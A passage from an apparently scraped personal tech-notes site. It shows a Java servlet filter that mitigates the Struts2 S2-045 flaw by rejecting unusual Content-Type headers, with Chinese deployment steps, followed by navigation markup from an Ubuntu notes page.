class=\"w\"> </span><span class=\"kd\">class</span> <span class=\"nc\">SecurityFilter</span><span class=\"w\"> </span><span class=\"kd\">extends</span><span class=\"w\"> </span><span class=\"n\">HttpServlet</span><span class=\"w\"> </span><span class=\"kd\">implements</span><span class=\"w\"> </span><span class=\"n\">Filter</span><span class=\"w\"> </span><span class=\"p\">{</span>\n\n<span class=\"w\">    </span><span class=\"kd\">private</span><span class=\"w\"> </span><span class=\"kd\">static</span><span class=\"w\"> </span><span class=\"kd\">final</span><span class=\"w\"> </span><span class=\"kt\">long</span><span class=\"w\"> </span><span class=\"n\">serialVersionUID</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"mi\">1L</span><span class=\"p\">;</span>\n\n\n<span class=\"w\">    </span><span class=\"kd\">public</span><span class=\"w\"> </span><span class=\"kd\">final</span><span class=\"w\"> </span><span class=\"n\">String</span><span class=\"w\"> </span><span class=\"n\">www_url_encode</span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;application/x-www-form-urlencoded&quot;</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"kd\">public</span><span class=\"w\"> </span><span class=\"kd\">final</span><span class=\"w\"> </span><span class=\"n\">String</span><span class=\"w\"> </span><span class=\"n\">mul_data</span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;multipart/form-data&quot;</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"kd\">public</span><span class=\"w\"> </span><span class=\"kd\">final</span><span class=\"w\"> </span><span class=\"n\">String</span><span class=\"w\"> </span><span class=\"n\">txt_pla</span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;text/plain&quot;</span><span class=\"p\">;</span>\n\n<span class=\"w\">    </span><span class=\"kd\">public</span><span class=\"w\"> </span><span class=\"kt\">void</span><span class=\"w\"> </span><span class=\"nf\">doFilter</span><span class=\"p\">(</span><span class=\"n\">ServletRequest</span><span class=\"w\"> </span><span class=\"n\">arg0</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">ServletResponse</span><span class=\"w\"> </span><span class=\"n\">arg1</span><span class=\"p\">,</span>\n<span class=\"w\">            </span><span class=\"n\">FilterChain</span><span class=\"w\"> </span><span class=\"n\">arg2</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"kd\">throws</span><span class=\"w\"> </span><span class=\"n\">IOException</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">ServletException</span><span class=\"w\"> </span><span class=\"p\">{</span>\n\n<span class=\"w\">        </span><span class=\"n\">HttpServletRequest</span><span class=\"w\"> </span><span class=\"n\">request</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">HttpServletRequest</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"n\">arg0</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"n\">HttpServletResponse</span><span class=\"w\"> </span><span class=\"n\">response</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">HttpServletResponse</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"n\">arg1</span><span class=\"p\">;</span>\n\n<span class=\"w\">        </span><span class=\"n\">String</span><span class=\"w\"> </span><span class=\"n\">contentType</span><span class=\"o\">=</span><span class=\"n\">request</span><span class=\"p\">.</span><span class=\"na\">getHeader</span><span class=\"p\">(</span><span class=\"s\">&quot;Content-Type&quot;</span><span class=\"p\">);</span>\n\n<span class=\"w\">        </span><span class=\"k\">if</span><span class=\"p\">(</span><span class=\"n\">contentType</span><span class=\"o\">!=</span><span class=\"kc\">null</span><span class=\"o\">&amp;&amp;!</span><span class=\"n\">contentType</span><span class=\"p\">.</span><span class=\"na\">equals</span><span class=\"p\">(</span><span class=\"s\">&quot;&quot;</span><span class=\"p\">)</span><span class=\"o\">&amp;&amp;!</span><span class=\"n\">contentType</span><span class=\"p\">.</span><span class=\"na\">equalsIgnoreCase</span><span class=\"p\">(</span><span class=\"n\">www_url_encode</span><span class=\"p\">)</span><span class=\"o\">&amp;&amp;!</span><span class=\"n\">contentType</span><span class=\"p\">.</span><span class=\"na\">equalsIgnoreCase</span><span class=\"p\">(</span><span class=\"n\">mul_data</span><span class=\"p\">)</span><span class=\"o\">&amp;&amp;!</span><span class=\"n\">contentType</span><span class=\"p\">.</span><span class=\"na\">equalsIgnoreCase</span><span class=\"p\">(</span><span class=\"n\">txt_pla</span><span class=\"p\">)){</span>\n<span class=\"w\">            </span><span class=\"n\">response</span><span class=\"p\">.</span><span class=\"na\">setContentType</span><span class=\"p\">(</span><span class=\"s\">&quot;text/html;charset=UTF-8&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"n\">response</span><span class=\"p\">.</span><span class=\"na\">getWriter</span><span class=\"p\">().</span><span class=\"na\">write</span><span class=\"p\">(</span><span class=\"s\">&quot;非法请求Content-Type！&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">            </span><span class=\"k\">return</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n<span class=\"w\">        </span><span class=\"n\">arg2</span><span class=\"p\">.</span><span class=\"na\">doFilter</span><span class=\"p\">(</span><span class=\"n\">request</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">response</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"kd\">public</span><span class=\"w\"> </span><span class=\"kt\">void</span><span class=\"w\"> </span><span class=\"nf\">init</span><span class=\"p\">(</span><span class=\"n\">FilterConfig</span><span class=\"w\"> </span><span class=\"n\">arg0</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"kd\">throws</span><span class=\"w\"> </span><span class=\"n\">ServletException</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p>假设服务器上的<code>java -version</code>告诉我们java的版本是1.7的，手里又没有当前网站的项目文件，需要这样进行编译：</p>\n<p>eclipse新建一个工程，新建类复制以上代码，项目属性的<code>Java Build Path</code>中的<code>Libraries</code>添加tomcat中的<code>servlet-api.jar</code>，<code>Java Complier</code>页面中选择Complier compliance level为1.7</p>\n<p>eclipse自动通过编译后，即可将此SecurityFilter.class文件传至服务器上的应用的WEB-INF/classes目录下。</p>\n<p>这里有我已经编译好的class文件：<a href=\"https://d.py3.io/SecurityFilter_jdk1.6.class\">1.6</a>  <a href=\"https://d.py3.io/SecurityFilter_jdk1.7.class\">1.7</a>  <a href=\"https://d.py3.io/SecurityFilter_jdk1.8.class\">1.8</a></p>\n<p>② 将下面的代码加入WEB-INF/web.xml文件的第一个filter之前。</p>\n<p>操作之前请记得备份</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nt\">&lt;filter&gt;</span>\n<span class=\"w\">    </span><span class=\"nt\">&lt;filter-name&gt;</span>SecurityFilter<span class=\"nt\">&lt;/filter-name&gt;</span>\n<span class=\"w\">    </span><span class=\"nt\">&lt;filter-class&gt;</span>SecurityFilter<span class=\"nt\">&lt;/filter-class&gt;</span>\n<span class=\"nt\">&lt;/filter&gt;</span>\n<span class=\"nt\">&lt;filter-mapping&gt;</span>\n<span class=\"w\">    </span><span class=\"nt\">&lt;filter-name&gt;</span>SecurityFilter<span class=\"nt\">&lt;/filter-name&gt;</span>\n<span class=\"w\">    </span><span class=\"nt\">&lt;url-pattern&gt;</span>/*<span class=\"nt\">&lt;/url-pattern&gt;</span>\n<span class=\"nt\">&lt;/filter-mapping&gt;</span>\n</code></pre></div>\n\n<p>如图所示</p>\n<p><img alt=\"S2-045_filter.jpg\" src=\"assets/img/S2-045_filter.jpg!/format/webp\" /></p>\n<p>③ 重启应用即可</p>\n<p>重启可以在tomcat的manager页面Reload应用，或者直接重启整个tomcat</p>\n<p>如果应用无法启动，在tomcat下有logs目录可以看到为啥出错</p>\n<h3 id=\"_3\">测试效果<a class=\"headerlink\" href=\"#_3\" title=\"Permanent link\">&para;</a></h3>\n<p><img alt=\"\" src=\"../assets/img/S2-045_filterresult.jpg\" /></p>\n<hr />\n<p>期待一个更负责任的漏洞披露过程，期待一个更加安全的互联网</p>\n<p>Author: zjuchenyuan</p>\n<p>Source: <a href=\"https://py3.io/S2-045.html\">https://py3.io/S2-045.html</a></p>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/Ubuntu/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../Linux-VirtualBox/\">\n      \n      \n        <link rel=\"next\" href=\"../zjugrshelper/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>Ubuntu - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#ubuntu\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              Ubuntu\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li 